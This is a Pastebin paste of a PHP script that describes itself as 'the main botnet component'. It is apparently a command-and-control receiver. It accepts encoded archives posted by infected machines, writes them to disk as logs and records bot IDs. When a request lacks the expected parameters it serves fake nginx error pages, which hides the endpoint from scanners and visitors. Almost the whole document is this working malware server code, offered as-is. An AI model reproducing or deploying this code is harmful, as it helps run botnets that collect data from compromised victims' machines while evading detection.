FlyFar

server/a.php

Mar 24th, 2024
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.31 KB | Cybersecurity | 0 0
  1. <?php
  2.     /*
  3.         a.php - The main botnet component.
  4.         ---------------------------------
  5.         This handles creating bot ID's as well as
  6.         decoding the tar archives sent.
  7.        
  8.         /// NOTE ///
  9.         As you can see, this is VERY noobish, please
  10.         go easy on me, I'm not remotely good at php.
  11.         /// END ///
  12.     */
  13.     error_reporting(E_ERROR | E_PARSE); // No php errors, but I reccomend you turn it on for debugging ONLY.
  14.    
  15.     $botname = htmlspecialchars($_GET["name"]);
  16.     $bot_data = str_replace(array(' ', '+'),array('-','_'), htmlspecialchars($_POST["data"]));
  17.     $logpath = $_SERVER['DOCUMENT_ROOT']."/xml/logs"; // let's hardcode paths, because fuck it.
  18.     $botpath = $_SERVER['DOCUMENT_ROOT']."/xml/bots";
  19.    
  20.     if(!$botname || !$bot_data) { // Die with a fake nginx message
  21.         echo "<html>\n";
  22.         echo "<head><title>403 Forbidden</title></head>\n";
  23.         echo "<body bgcolor=\"white\">\n";
  24.         echo "<center><h1>404 Forbidden</h1></center>\n";
  25.         echo "<hr><center>nginx/6.6.6 (Mac OS X)</center>\n";
  26.         echo "</body>\n";
  27.         echo "</html>\n";
  28.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  29.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  30.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  31.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  32.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  33.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  34.         die("");
  35.     }
  36.    
  37.     $bot_data_file = fopen($logpath . "/" . $botname . ".tgz", "w");
  38.     if(!$bot_data_file) {
  39.         echo "<html>\n";
  40.         echo "<head><title>503 Internal Server Error</title></head>\n";
  41.         echo "<body bgcolor=\"white\">\n";
  42.         echo "<center><h1>503 Internal Server Error</h1></center>\n";
  43.         echo "<hr><center>nginx/6.6.6 (Mac OS X)</center>\n";
  44.         echo "</body>\n";
  45.         echo "</html>\n";
  46.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  47.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  48.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  49.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  50.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  51.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  52.         die("");
  53.     }
  54.    
  55.     fwrite($bot_data_file, base64url_decode($bot_data));
  56.     fclose($bot_data_file);
  57.    
  58.     $botnamelog = fopen($botpath . "/" . $botname, "c");
  59.    
  60.     if(!$botnamelog) {
  61.         echo "<html>\n";
  62.         echo "<head><title>504 Gateway Timeout</title></head>\n";
  63.         echo "<body bgcolor=\"white\">\n";
  64.         echo "<center><h1>504 Gateway Timeout</h1></center>\n";
  65.         echo "<hr><center>nginx/6.6.6 (Mac OS X)</center>\n";
  66.         echo "</body>\n";
  67.         echo "</html>\n";
  68.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  69.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  70.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  71.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  72.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  73.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  74.         die("");
  75.     }
  76.     fclose($botnamelog);
  77.  
  78.     $global = fopen($botpath . "/all", "c");
  79.     if(!$global) {
  80.         echo "<html>\n";
  81.         echo "<head><title>505 HTTP Version Not Supported</title></head>\n";
  82.         echo "<body bgcolor=\"white\">\n";
  83.         echo "<center><h1>505 HTTP Version Not Supported</h1></center>\n";
  84.         echo "<hr><center>nginx/6.6.6 (Mac OS X)</center>\n";
  85.         echo "</body>\n";
  86.         echo "</html>\n";
  87.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  88.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  89.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  90.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  91.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  92.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  93.         die("");
  94.     }
  95.  
  96.     function base64url_decode($data) {
  97.         return base64_decode(str_replace(array('-', '_'), array('+', '/'), $data));
  98.     }
  99. ?>
Add Comment
Please, Sign In to add comment